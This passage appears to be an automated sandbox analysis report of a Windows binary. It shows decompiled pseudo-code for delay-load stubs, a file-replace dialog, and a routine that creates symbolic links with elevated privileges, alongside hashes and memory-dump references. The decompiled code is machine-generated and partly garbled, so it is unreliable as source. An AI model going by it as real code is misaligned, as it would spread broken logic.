Instruction Fuzzy Hash: 79A011823A8202FCB80A3382AC02C3A220CC0C0A2C320C80EE282C0808A8C00E000030

Uniqueness

Uniqueness Score: -1.00%

Function 0136D1D8, Relevance: 1.5, APIs: 1, Instructions: 9
COMMON

Download Yara Rule

C-Code - Quality: 22%

			E0136D1D8() {
				void* _t2;
				void* _t3;
				void* _t6;
				void* _t7;
				void* _t8;

				_push(0x138ab6c); // executed
				E0136D53A(_t2, _t3, _t6, _t7, _t8); // executed
				goto __eax;
			}

0x0136d1b1
0x0136d1b6
0x0136d1bd

APIs

___delayLoadHelper2@8.DELAYIMP ref: 0136D1B6

Part of subcall function 0136D53A: DloadReleaseSectionWriteAccess.DELAYIMP ref: 0136D5B7
Part of subcall function 0136D53A: RaiseException.KERNEL32(C06D0057,00000000,00000001,?), ref: 0136D5C8

Memory Dump Source

Source File: 00000000.00000002.667798587.0000000001351000.00000020.00020000.sdmp, Offset: 01350000, based on PE: true

Associated: 00000000.00000002.667793815.0000000001350000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.667822042.0000000001382000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.667831818.000000000138D000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.667837526.0000000001394000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.667843549.00000000013B0000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.667848478.00000000013B1000.00000002.00020000.sdmp Download File

Similarity

API ID: AccessDloadExceptionHelper2@8LoadRaiseReleaseSectionWrite___delay
String ID:
API String ID: 1269201914-0
Opcode ID: 2e97add8e8f6b60d928003ae20e5c5048d2d9efee83ee72f2e8d1bca63514417
Instruction ID: 1f3bf4622aaf3c432bc886995346da7b623a3ae4014307a49b68c537f6dc229b
Opcode Fuzzy Hash: 2e97add8e8f6b60d928003ae20e5c5048d2d9efee83ee72f2e8d1bca63514417
Instruction Fuzzy Hash: 79A011823A8202FCB80A3382AC02C3A220CC0C0A2C320C80EE282C0808A8C00E000030

Uniqueness

Uniqueness Score: -1.00%

Function 0136D225, Relevance: 1.5, APIs: 1, Instructions: 9
COMMON

Download Yara Rule

C-Code - Quality: 22%

			E0136D225() {
				void* _t2;
				void* _t3;
				void* _t6;
				void* _t7;
				void* _t8;

				_push(0x138ab8c); // executed
				E0136D53A(_t2, _t3, _t6, _t7, _t8); // executed
				goto __eax;
			}

0x0136d212
0x0136d217
0x0136d21e

APIs

___delayLoadHelper2@8.DELAYIMP ref: 0136D217

Part of subcall function 0136D53A: DloadReleaseSectionWriteAccess.DELAYIMP ref: 0136D5B7
Part of subcall function 0136D53A: RaiseException.KERNEL32(C06D0057,00000000,00000001,?), ref: 0136D5C8

Memory Dump Source

Source File: 00000000.00000002.667798587.0000000001351000.00000020.00020000.sdmp, Offset: 01350000, based on PE: true

Associated: 00000000.00000002.667793815.0000000001350000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.667822042.0000000001382000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.667831818.000000000138D000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.667837526.0000000001394000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.667843549.00000000013B0000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.667848478.00000000013B1000.00000002.00020000.sdmp Download File

Similarity

API ID: AccessDloadExceptionHelper2@8LoadRaiseReleaseSectionWrite___delay
String ID:
API String ID: 1269201914-0
Opcode ID: a440c5f9ebe9b18a937840da1ae2b1cbc49be268677936302400a6933df916f7
Instruction ID: 4e9502b6a0455c771ef1fd8479fefc94093760e6a078d47de6cc24fd87612c84
Opcode Fuzzy Hash: a440c5f9ebe9b18a937840da1ae2b1cbc49be268677936302400a6933df916f7
Instruction Fuzzy Hash: C2A011CA3A8202FCF00A22CABC02C3B230CC0E0ABC320C80EE28282808A8808C000030

Uniqueness

Uniqueness Score: -1.00%

Function 0136D22F, Relevance: 1.5, APIs: 1, Instructions: 9
COMMON

Download Yara Rule

C-Code - Quality: 22%

			E0136D22F() {
				void* _t2;
				void* _t3;
				void* _t6;
				void* _t7;
				void* _t8;

				_push(0x138ab8c); // executed
				E0136D53A(_t2, _t3, _t6, _t7, _t8); // executed
				goto __eax;
			}

0x0136d212
0x0136d217
0x0136d21e

APIs

___delayLoadHelper2@8.DELAYIMP ref: 0136D217

Part of subcall function 0136D53A: DloadReleaseSectionWriteAccess.DELAYIMP ref: 0136D5B7
Part of subcall function 0136D53A: RaiseException.KERNEL32(C06D0057,00000000,00000001,?), ref: 0136D5C8

Memory Dump Source

Source File: 00000000.00000002.667798587.0000000001351000.00000020.00020000.sdmp, Offset: 01350000, based on PE: true

Associated: 00000000.00000002.667793815.0000000001350000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.667822042.0000000001382000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.667831818.000000000138D000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.667837526.0000000001394000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.667843549.00000000013B0000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.667848478.00000000013B1000.00000002.00020000.sdmp Download File

Similarity

API ID: AccessDloadExceptionHelper2@8LoadRaiseReleaseSectionWrite___delay
String ID:
API String ID: 1269201914-0
Opcode ID: ba9519e6cea559549106d5c025a73395a8eb0ab31c0722d3957960739657d5e7
Instruction ID: 4e9502b6a0455c771ef1fd8479fefc94093760e6a078d47de6cc24fd87612c84
Opcode Fuzzy Hash: ba9519e6cea559549106d5c025a73395a8eb0ab31c0722d3957960739657d5e7
Instruction Fuzzy Hash: C2A011CA3A8202FCF00A22CABC02C3B230CC0E0ABC320C80EE28282808A8808C000030

Uniqueness

Uniqueness Score: -1.00%

Function 0136D200, Relevance: 1.5, APIs: 1, Instructions: 9
COMMON

Download Yara Rule

C-Code - Quality: 22%

			E0136D200() {
				void* _t2;
				void* _t3;
				void* _t6;
				void* _t7;
				void* _t8;

				_push(0x138ab6c); // executed
				E0136D53A(_t2, _t3, _t6, _t7, _t8); // executed
				goto __eax;
			}

0x0136d1b1
0x0136d1b6
0x0136d1bd

APIs

___delayLoadHelper2@8.DELAYIMP ref: 0136D1B6

Part of subcall function 0136D53A: DloadReleaseSectionWriteAccess.DELAYIMP ref: 0136D5B7
Part of subcall function 0136D53A: RaiseException.KERNEL32(C06D0057,00000000,00000001,?), ref: 0136D5C8

Memory Dump Source

Source File: 00000000.00000002.667798587.0000000001351000.00000020.00020000.sdmp, Offset: 01350000, based on PE: true

Associated: 00000000.00000002.667793815.0000000001350000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.667822042.0000000001382000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.667831818.000000000138D000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.667837526.0000000001394000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.667843549.00000000013B0000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.667848478.00000000013B1000.00000002.00020000.sdmp Download File

Similarity

API ID: AccessDloadExceptionHelper2@8LoadRaiseReleaseSectionWrite___delay
String ID:
API String ID: 1269201914-0
Opcode ID: b1c01bbe8f1188a501cb41fc6dc94f96ed348a2b07d08cb71b70e537bd90d665
Instruction ID: 1f3bf4622aaf3c432bc886995346da7b623a3ae4014307a49b68c537f6dc229b
Opcode Fuzzy Hash: b1c01bbe8f1188a501cb41fc6dc94f96ed348a2b07d08cb71b70e537bd90d665
Instruction Fuzzy Hash: 79A011823A8202FCB80A3382AC02C3A220CC0C0A2C320C80EE282C0808A8C00E000030

Uniqueness

Uniqueness Score: -1.00%

Function 01359BD6, Relevance: 1.5, APIs: 1, Instructions: 7
fileCOMMON

Download Yara Rule

C-Code - Quality: 58%

			E01359BD6(void* __ecx) {
				int _t2;

				_t2 = SetEndOfFile( *(__ecx + 4)); // executed
				asm("sbb eax, eax");
				return  ~(_t2 - 1) + 1;
			}

0x01359bd9
0x01359be2
0x01359be5

APIs

SetEndOfFile.KERNELBASE(?,01358F33,?,?,-00001960), ref: 01359BD9

Memory Dump Source

Source File: 00000000.00000002.667798587.0000000001351000.00000020.00020000.sdmp, Offset: 01350000, based on PE: true

Associated: 00000000.00000002.667793815.0000000001350000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.667822042.0000000001382000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.667831818.000000000138D000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.667837526.0000000001394000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.667843549.00000000013B0000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.667848478.00000000013B1000.00000002.00020000.sdmp Download File

Similarity

API ID: File
String ID:
API String ID: 749574446-0
Opcode ID: 6c475ea7a18d3489c5fb602bd8b944a5279fa77527f14b055f64ef3e3f98fc38
Instruction ID: 5ca0900e2317d47f02f2d2e6e3dca45a5ec32d34aea47d60161d4725ed88d8e9
Opcode Fuzzy Hash: 6c475ea7a18d3489c5fb602bd8b944a5279fa77527f14b055f64ef3e3f98fc38
Instruction Fuzzy Hash: 3EB012B00A00058ACE102B30C9044183A56E61130671041606002C5054CB12C003D700

Uniqueness

Uniqueness Score: -1.00%

Function 01369A8D, Relevance: 1.5, APIs: 1, Instructions: 6
COMMON

Download Yara Rule

C-Code - Quality: 58%

			E01369A8D(WCHAR* _a4) {
				signed int _t2;

				_t2 = SetCurrentDirectoryW(_a4); // executed
				asm("sbb eax, eax");
				return  ~( ~_t2);
			}

0x01369a91
0x01369a99
0x01369a9d

APIs

SetCurrentDirectoryW.KERNELBASE(?,01369CE4,C:\Users\user\Desktop,00000000,013985FA,00000006), ref: 01369A91

Memory Dump Source

Source File: 00000000.00000002.667798587.0000000001351000.00000020.00020000.sdmp, Offset: 01350000, based on PE: true

Associated: 00000000.00000002.667793815.0000000001350000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.667822042.0000000001382000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.667831818.000000000138D000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.667837526.0000000001394000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.667843549.00000000013B0000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.667848478.00000000013B1000.00000002.00020000.sdmp Download File

Similarity

API ID: CurrentDirectory
String ID:
API String ID: 1611563598-0
Opcode ID: b2d91e747457366d193c99670ccccfa97fca04ff7d4136152d60f7d3852c24ae
Instruction ID: 6826dd651058dad06599c57f404a4150d98b94072ba3f11e9eb892ba2a2ed319
Opcode Fuzzy Hash: b2d91e747457366d193c99670ccccfa97fca04ff7d4136152d60f7d3852c24ae
Instruction Fuzzy Hash: B0A0123019410646CA100B30C80DC1A765557A0702F108620B102C0094CB308810E700

Uniqueness

Uniqueness Score: -1.00%

Non-executed Functions

Function 0136AFB9, Relevance: 49.3, APIs: 25, Strings: 3, Instructions: 289
timewindowfileCOMMON

Download Yara Rule

C-Code - Quality: 60%

			E0136AFB9(void* __ecx, void* __edx, void* __eflags, char _a4, short _a8, char _a12, short _a108, short _a112, char _a192, char _a212, struct _WIN32_FIND_DATAW _a288, signed char _a304, signed char _a308, struct _FILETIME _a332, intOrPtr _a340, intOrPtr _a344, short _a884, short _a896, short _a900, int _a1904, char _a1924, int _a1928, short _a2596, short _a2616, char _a2628, char _a2640, struct HWND__* _a6740, intOrPtr _a6744, signed short _a6748, intOrPtr _a6752) {
				struct _FILETIME _v0;
				struct _SYSTEMTIME _v12;
				struct _SYSTEMTIME _v16;
				struct _FILETIME _v24;
				void* _t73;
				void* _t136;
				long _t137;
				void* _t141;
				void* _t142;
				void* _t143;
				void* _t144;
				void* _t145;
				signed short _t148;
				void* _t151;
				intOrPtr _t152;
				signed int _t153;
				signed int _t157;
				struct HWND__* _t159;
				intOrPtr _t162;
				void* _t163;
				int _t166;
				int _t169;
				void* _t173;
				void* _t177;
				void* _t179;

				_t156 = __edx;
				_t151 = __ecx;
				E0136D940();
				_t148 = _a6748;
				_t162 = _a6744;
				_t159 = _a6740;
				if(E013512D7(__edx, _t159, _t162, _t148, _a6752, L"REPLACEFILEDLG", 0, 0) == 0) {
					_t163 = _t162 - 0x110;
					if(_t163 == 0) {
						SetFocus(GetDlgItem(_t159, 0x6c));
						E0135FAB1( &_a2640, _a6752, 0x800);
						E0135BA19( &_a2628,  &_a2628, 0x800);
						SetDlgItemTextW(_t159, 0x65,  &_a2616);
						 *0x138df00( &_a2616, 0,  &_a1924, 0x2b4, 0x100);
						SendDlgItemMessageW(_t159, 0x66, 0x170, _a1904, 0);
						_t173 = FindFirstFileW( &_a2596,  &_a288);
						if(_t173 != 0xffffffff) {
							FileTimeToLocalFileTime( &_a332,  &(_v24.dwHighDateTime));
							FileTimeToSystemTime( &(_v24.dwHighDateTime),  &_v12);
							_push(0x32);
							_push( &_a12);
							_push(0);
							_push( &_v12);
							_t166 = 2;
							GetTimeFormatW(0x400, 0x800, ??, ??, ??, ??);
							GetDateFormatW(0x400, 0,  &_v12, 0,  &_a112, 0x32);
							_push( &_a12);
							_push( &_a112);
							E01353E41( &_a900, 0x200, L"%s %s %s", E0135DA42(_t151, 0x99));
							_t179 = _t177 + 0x18;
							SetDlgItemTextW(_t159, 0x6a,  &_a900);
							FindClose(_t173);
							if((_a308 & 0x00000010) == 0) {
								_push(0x32);
								_push( &_a212);
								_push(0);
								_pop(0);
								asm("adc eax, ebp");
								_push(_a340);
								_push(0 + _a344);
								E01369D99();
								_push(E0135DA42(0 + _a344, 0x98));
								E01353E41( &_a884, 0x200, L"%s %s",  &_a192);
								_t179 = _t179 + 0x14;
								SetDlgItemTextW(_t159, 0x68,  &_a884);
							}
							SendDlgItemMessageW(_t159, 0x67, 0x170, _a1928, 0);
							_t152 =  *0x13975f4; // 0x0
							E0136082F(_t152, _t156,  &_a4);
							FileTimeToLocalFileTime( &_v0,  &_v24);
							FileTimeToSystemTime( &_v24,  &_v16);
							GetTimeFormatW(0x400, _t166,  &_v16, 0,  &_a8, 0x32);
							GetDateFormatW(0x400, 0,  &_v16, 0,  &_a108, 0x32);
							_push( &_a8);
							_push( &_a108);
							E01353E41( &_a896, 0x200, L"%s %s %s", E0135DA42(_t152, 0x99));
							_t177 = _t179 + 0x18;
							SetDlgItemTextW(_t159, 0x6b,  &_a896);
							_t153 =  *0x13ace14;
							_t157 =  *0x13ace10;
							if((_a304 & 0x00000010) == 0 || (_t157 | _t153) != 0) {
								E01369D99(_t157, _t153,  &_a212, 0x32);
								_push(E0135DA42(_t153, 0x98));
								E01353E41( &_a884, 0x200, L"%s %s",  &_a192);
								_t177 = _t177 + 0x14;
								SetDlgItemTextW(_t159, 0x69,  &_a884);
							}
						}
						L27:
						_t73 = 0;
						L28:
						return _t73;
					}
					if(_t163 != 1) {
						goto L27;
					}
					_t169 = 2;
					_t136 = (_t148 & 0x0000ffff) - _t169;
					if(_t136 == 0) {
						L11:
						_push(6);
						L12:
						_pop(_t169);
						L13:
						_t137 = SendDlgItemMessageW(_t159, 0x66, 0x171, 0, 0);
						if(_t137 != 0) {
							 *0x138df4c(_t137);
						}
						EndDialog(_t159, _t169);
						goto L1;
					}
					_t141 = _t136 - 0x6a;
					if(_t141 == 0) {
						_t169 = 0;
						goto L13;
					}
					_t142 = _t141 - 1;
					if(_t142 == 0) {
						_t169 = 1;
						goto L13;
					}
					_t143 = _t142 - 1;
					if(_t143 == 0) {
						_push(4);
						goto L12;
					}
					_t144 = _t143 - 1;
					if(_t144 == 0) {
						goto L13;
					}
					_t145 = _t144 - 1;
					if(_t145 == 0) {
						_push(3);
						goto L12;
					}
					if(_t145 != 1) {
						goto L27;
					}
					goto L11;
				}
				L1:
				_t73 = 1;
				goto L28;
			}

0x0136afb9
0x0136afb9
0x0136afbe
0x0136afc4
0x0136afcd
0x0136afd7
0x0136aff6
0x0136b000
0x0136b006
0x0136b080
0x0136b09b
0x0136b0aa
0x0136b0c0
0x0136b0dd
0x0136b0f3
0x0136b10f
0x0136b114
0x0136b127
0x0136b137
0x0136b13d
0x0136b143
0x0136b144
0x0136b14a
0x0136b14d
0x0136b154
0x0136b172
0x0136b17c
0x0136b184
0x0136b1a2
0x0136b1a7
0x0136b1b5
0x0136b1b8
0x0136b1c6
0x0136b1c8
0x0136b1da
0x0136b1e2
0x0136b1e4
0x0136b1e5
0x0136b1e7
0x0136b1e8
0x0136b1e9
0x0136b1f8
0x0136b213
0x0136b218
0x0136b226
0x0136b226
0x0136b23c
0x0136b242
0x0136b24d
0x0136b25c
0x0136b26c
0x0136b286
0x0136b29e
0x0136b2a8
0x0136b2b0
0x0136b2cf
0x0136b2d4
0x0136b2e2
0x0136b2ec
0x0136b2f2
0x0136b2f8
0x0136b30c
0x0136b31b
0x0136b332
0x0136b337
0x0136b345
0x0136b345
0x0136b2f8
0x0136b347
0x0136b347
0x0136b349
0x0136b353
0x0136b353
0x0136b00b
0x00000000
0x00000000
0x0136b016
0x0136b017
0x0136b019
0x0136b03d
0x0136b03d
0x0136b03f
0x0136b03f
0x0136b040
0x0136b04a
0x0136b052
0x0136b055
0x0136b055
0x0136b05d
0x00000000
0x0136b05d
0x0136b01b
0x0136b01e
0x0136b072
0x00000000
0x0136b072
0x0136b020
0x0136b023
0x0136b06f
0x00000000
0x0136b06f
0x0136b025
0x0136b028
0x0136b069
0x00000000
0x0136b069
0x0136b02a
0x0136b02d
0x00000000
0x00000000
0x0136b02f
0x0136b032
0x0136b065
0x00000000
0x0136b065
0x0136b037
0x00000000
0x00000000
0x00000000
0x0136b037
0x0136aff8
0x0136affa
0x00000000

APIs

Part of subcall function 013512D7: GetDlgItem.USER32(00000000,00003021), ref: 0135131B
Part of subcall function 013512D7: SetWindowTextW.USER32(00000000,013822E4), ref: 01351331

SendDlgItemMessageW.USER32(?,00000066,00000171,00000000,00000000), ref: 0136B04A
EndDialog.USER32(?,00000006), ref: 0136B05D
GetDlgItem.USER32(?,0000006C), ref: 0136B079
SetFocus.USER32(00000000), ref: 0136B080
SetDlgItemTextW.USER32(?,00000065,?), ref: 0136B0C0
SendDlgItemMessageW.USER32(?,00000066,00000170,?,00000000), ref: 0136B0F3
FindFirstFileW.KERNEL32(?,?), ref: 0136B109
FileTimeToLocalFileTime.KERNEL32(?,?), ref: 0136B127
FileTimeToSystemTime.KERNEL32(?,?), ref: 0136B137
GetTimeFormatW.KERNEL32(00000400,00000002,?,00000000,?,00000032), ref: 0136B154
GetDateFormatW.KERNEL32(00000400,00000000,?,00000000,?,00000032), ref: 0136B172
_swprintf.LIBCMT ref: 0136B1A2

Part of subcall function 01353E41: __vswprintf_c_l.LEGACY_STDIO_DEFINITIONS ref: 01353E54

SetDlgItemTextW.USER32(?,0000006A,?), ref: 0136B1B5
FindClose.KERNEL32(00000000), ref: 0136B1B8
_swprintf.LIBCMT ref: 0136B213
SetDlgItemTextW.USER32(?,00000068,?), ref: 0136B226
SendDlgItemMessageW.USER32(?,00000067,00000170,?,00000000), ref: 0136B23C
FileTimeToLocalFileTime.KERNEL32(?,?,?), ref: 0136B25C
FileTimeToSystemTime.KERNEL32(?,?), ref: 0136B26C
GetTimeFormatW.KERNEL32(00000400,00000002,?,00000000,?,00000032), ref: 0136B286
GetDateFormatW.KERNEL32(00000400,00000000,?,00000000,?,00000032), ref: 0136B29E
_swprintf.LIBCMT ref: 0136B2CF
SetDlgItemTextW.USER32(?,0000006B,?), ref: 0136B2E2
_swprintf.LIBCMT ref: 0136B332
SetDlgItemTextW.USER32(?,00000069,?), ref: 0136B345

Part of subcall function 01369D99: GetLocaleInfoW.KERNEL32(00000400,0000000F,?,00000064), ref: 01369DBF
Part of subcall function 01369D99: GetNumberFormatW.KERNEL32 ref: 01369E0E

Strings

%s %s, xrefs: 0136B201, 0136B324
REPLACEFILEDLG, xrefs: 0136AFE0
%s %s %s, xrefs: 0136B190, 0136B2BC

Memory Dump Source

Source File: 00000000.00000002.667798587.0000000001351000.00000020.00020000.sdmp, Offset: 01350000, based on PE: true

Associated: 00000000.00000002.667793815.0000000001350000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.667822042.0000000001382000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.667831818.000000000138D000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.667837526.0000000001394000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.667843549.00000000013B0000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.667848478.00000000013B1000.00000002.00020000.sdmp Download File

Similarity

API ID: ItemTime$File$Text$Format$_swprintf$MessageSend$DateFindLocalSystem$CloseDialogFirstFocusInfoLocaleNumberWindow__vswprintf_c_l
String ID: %s %s$%s %s %s$REPLACEFILEDLG
API String ID: 797121971-1840816070
Opcode ID: f4a2cb2bd8519080b30245d95952c7d962a8b616582ece904a3d9db9c9cc23e6
Instruction ID: b400c04b358130ae3c215ac18845b1e4e1fd49529ca52c65955c5dd21fe11488
Opcode Fuzzy Hash: f4a2cb2bd8519080b30245d95952c7d962a8b616582ece904a3d9db9c9cc23e6
Instruction Fuzzy Hash: 4F918472248349BBE631DBA4CC49FFBBBECEB49B04F004819F749D6088D77196048B62

Uniqueness

Uniqueness Score: -1.00%

Function 01356FC6, Relevance: 24.8, APIs: 10, Strings: 4, Instructions: 299
fileCOMMON

Download Yara Rule

C-Code - Quality: 83%

			E01356FC6(void* __edx) {
				void* __esi;
				signed int _t111;
				signed int _t113;
				void* _t116;
				int _t118;
				intOrPtr _t121;
				signed int _t139;
				int _t145;
				void* _t182;
				void* _t185;
				void* _t190;
				short _t191;
				void* _t197;
				void* _t202;
				void* _t203;
				void* _t222;
				void* _t223;
				intOrPtr _t224;
				intOrPtr _t226;
				void* _t228;
				WCHAR* _t229;
				intOrPtr _t233;
				short _t237;
				void* _t238;
				intOrPtr _t239;
				short _t241;
				void* _t242;
				void* _t244;
				void* _t245;

				_t223 = __edx;
				E0136D870(E0138126D, _t242);
				E0136D940();
				 *((intOrPtr*)(_t242 - 0x18)) = 1;
				if( *0x1390043 == 0) {
					E01357A15(L"SeRestorePrivilege");
					E01357A15(L"SeCreateSymbolicLinkPrivilege");
					 *0x1390043 = 1;
				}
				_t199 = _t242 - 0x2c;
				E01356ED7(_t242 - 0x2c, 0x1418);
				_t197 =  *(_t242 + 0x10);
				 *(_t242 - 4) =  *(_t242 - 4) & 0x00000000;
				E0135FAB1(_t242 - 0x107c, _t197 + 0x1104, 0x800);
				 *((intOrPtr*)(_t242 - 0x10)) = E01372B33(_t242 - 0x107c);
				_t232 = _t242 - 0x107c;
				_t228 = _t242 - 0x207c;
				_t111 = E01374DA0(_t242 - 0x107c, L"\\??\\", 4);
				_t245 = _t244 + 0x10;
				asm("sbb al, al");
				_t113 =  ~_t111 + 1;
				 *(_t242 - 0x14) = _t113;
				if(_t113 != 0) {
					_t232 = _t242 - 0x1074;
					_t190 = E01374DA0(_t242 - 0x1074, L"UNC\\", 4);
					_t245 = _t245 + 0xc;
					if(_t190 == 0) {
						_t191 = 0x5c;
						 *((short*)(_t242 - 0x207c)) = _t191;
						_t228 = _t242 - 0x207a;
						_t232 = _t242 - 0x106e;
					}
				}
				E01374D7E(_t228, _t232);
				_t116 = E01372B33(_t242 - 0x207c);
				_t233 =  *((intOrPtr*)(_t242 + 8));
				_t229 =  *(_t242 + 0xc);
				 *(_t242 + 0x10) = _t116;
				if( *((char*)(_t233 + 0x618f)) != 0) {
					L9:
					_push(1);
					_push(_t229);
					E01359D3A(_t199, _t242);
					if( *((char*)(_t197 + 0x10f1)) != 0 ||  *((char*)(_t197 + 0x2104)) != 0) {
						_t118 = CreateDirectoryW(_t229, 0);
						__eflags = _t118;
						if(_t118 == 0) {
							goto L27;
						}
						goto L14;
					} else {
						_t182 = CreateFileW(_t229, 0x40000000, 0, 0, 1, 0x80, 0);
						if(_t182 == 0xffffffff) {
							L27:
							 *((char*)(_t242 - 0x18)) = 0;
							L28:
							E0135159C(_t242 - 0x2c);
							 *[fs:0x0] =  *((intOrPtr*)(_t242 - 0xc));
							return  *((intOrPtr*)(_t242 - 0x18));
						}
						CloseHandle(_t182);
						L14:
						_t121 =  *((intOrPtr*)(_t197 + 0x1100));
						if(_t121 != 3) {
							__eflags = _t121 - 2;
							if(_t121 == 2) {
								L18:
								_t202 =  *(_t242 - 0x2c);
								_t224 =  *((intOrPtr*)(_t242 - 0x10));
								 *_t202 = 0xa000000c;
								_t237 = _t224 + _t224;
								 *((short*)(_t202 + 0xa)) = _t237;
								 *((short*)(_t202 + 4)) = 0x10 + ( *(_t242 + 0x10) + _t224) * 2;
								 *((intOrPtr*)(_t202 + 6)) = 0;
								E01374D7E(_t202 + 0x14, _t242 - 0x107c);
								_t60 = _t237 + 2; // 0x3
								_t238 =  *(_t242 - 0x2c);
								 *((short*)(_t238 + 0xc)) = _t60;
								 *((short*)(_t238 + 0xe)) =  *(_t242 + 0x10) +  *(_t242 + 0x10);
								E01374D7E(_t238 + ( *((intOrPtr*)(_t242 - 0x10)) + 0xb) * 2, _t242 - 0x207c);
								_t139 =  *(_t242 - 0x14) & 0x000000ff ^ 0x00000001;
								__eflags = _t139;
								 *(_t238 + 0x10) = _t139;
								L19:
								_t203 = CreateFileW(_t229, 0xc0000000, 0, 0, 3, 0x2200000, 0);
								 *(_t242 + 0x10) = _t203;
								if(_t203 == 0xffffffff) {
									goto L27;
								}
								_t145 = DeviceIoControl(_t203, 0x900a4, _t238, ( *(_t238 + 4) & 0x0000ffff) + 8, 0, 0, _t242 - 0x30, 0);
								_t262 = _t145;
								if(_t145 != 0) {
									E0135943C(_t242 - 0x30a0);
									 *(_t242 - 4) = 1;
									 *((intOrPtr*)( *((intOrPtr*)(_t242 - 0x30a0)) + 8))();
									_t239 =  *((intOrPtr*)(_t242 + 8));
									 *(_t242 - 0x309c) =  *(_t242 + 0x10);
									asm("sbb ecx, ecx");
									asm("sbb ecx, ecx");
									asm("sbb ecx, ecx");
									E01359A7E(_t242 - 0x30a0, _t239,  ~( *(_t239 + 0x72c8)) & _t197 + 0x00001040,  ~( *(_t239 + 0x72cc)) & _t197 + 0x00001048,  ~( *(_t239 + 0x72d0)) & _t197 + 0x00001050);
									E013594DA(_t242 - 0x30a0);
									__eflags =  *((char*)(_t239 + 0x61a0));
									if( *((char*)(_t239 + 0x61a0)) == 0) {
										E0135A12F(_t229,  *((intOrPtr*)(_t197 + 0x24)));
									}
									E0135946E(_t242 - 0x30a0);
									goto L28;
								}
								CloseHandle( *(_t242 + 0x10));
								E01356BF5(_t262, 0x15, 0, _t229);
								_t160 = GetLastError();
								if(_t160 == 5 || _t160 == 0x522) {
									if(E0135FC98() == 0) {
										E01351567(_t242 - 0x7c, 0x18);
										_t160 = E01360A9F(_t242 - 0x7c);
									}
								}
								E0136E214(_t160);
								E01356E03(0x13900e0, 9);
								_push(_t229);
								if( *((char*)(_t197 + 0x10f1)) == 0) {
									DeleteFileW();
								} else {
									RemoveDirectoryW();
								}
								goto L27;
							}
							__eflags = _t121 - 1;
							if(_t121 != 1) {
								goto L27;
							}
							goto L18;
						}
						_t222 =  *(_t242 - 0x2c);
						_t226 =  *((intOrPtr*)(_t242 - 0x10));
						 *_t222 = 0xa0000003;
						_t241 = _t226 + _t226;
						 *((short*)(_t222 + 0xa)) = _t241;
						 *((short*)(_t222 + 4)) = 0xc + ( *(_t242 + 0x10) + _t226) * 2;
						 *((intOrPtr*)(_t222 + 6)) = 0;
						E01374D7E(_t222 + 0x10, _t242 - 0x107c);
						_t40 = _t241 + 2; // 0x3
						_t238 =  *(_t242 - 0x2c);
						 *((short*)(_t238 + 0xc)) = _t40;
						 *((short*)(_t238 + 0xe)) =  *(_t242 + 0x10) +  *(_t242 + 0x10);
						E01374D7E(_t238 + ( *((intOrPtr*)(_t242 - 0x10)) + 9) * 2, _t242 - 0x207c);
						goto L19;
					}
				}
				if( *(_t242 - 0x14) != 0) {
					goto L27;
				}
				_t185 = E0135B4F2(_t197 + 0x1104);
				_t255 = _t185;
				if(_t185 != 0) {
					goto L27;
				}
				_push(_t197 + 0x1104);
				_push(_t229);
				_push(_t197 + 0x28);
				_push(_t233);
				if(E013577F7(_t223, _t255) == 0) {
					goto L27;
				}
				goto L9;
			}

0x01356fc6
0x01356fcb
0x01356fd5
0x01356fe7
0x01356fea
0x01356ff1
0x01356ffb
0x01357000
0x01357000
0x0135700b
0x0135700e
0x01357013
0x01357016
0x0135702d
0x01357040
0x01357043
0x0135704b
0x01357057
0x0135705c
0x01357061
0x01357063
0x01357065
0x0135706a
0x0135706e
0x0135707c
0x01357081
0x01357086
0x0135708a
0x0135708b
0x01357092
0x01357098
0x01357098
0x01357086
0x013570a0
0x013570ac
0x013570b1
0x013570b7
0x013570ba
0x013570c4
0x013570fe
0x01357101
0x01357102
0x01357103
0x0135710f
0x01357146
0x0135714c
0x0135714e
0x00000000
0x00000000
0x00000000
0x0135711a
0x0135712b
0x01357134
0x013572f4
0x013572f4
0x013572f8
0x013572fb
0x01357309
0x01357313
0x01357313
0x0135713b
0x01357154
0x01357154
0x0135715d
0x013571c5
0x013571c8
0x013571d2
0x013571d2
0x013571d5
0x013571dd
0x013571e3
0x013571e6
0x013571f1
0x013571f7
0x01357205
0x0135720a
0x0135720d
0x01357210
0x01357219
0x0135722e
0x0135723c
0x0135723c
0x0135723f
0x01357242
0x0135725a
0x0135725c
0x01357262
0x00000000
0x00000000
0x01357280
0x01357286
0x01357288
0x01357324
0x01357335
0x01357339
0x0135733c
0x01357342
0x01357356
0x01357369
0x0135737c
0x01357387
0x01357392
0x01357397
0x0135739e
0x013573a4
0x013573a4
0x013573af
0x00000000
0x013573af
0x01357292
0x0135729d
0x013572a2
0x013572ab
0x013572bb
0x013572c2
0x013572ca
0x013572ca
0x013572bb
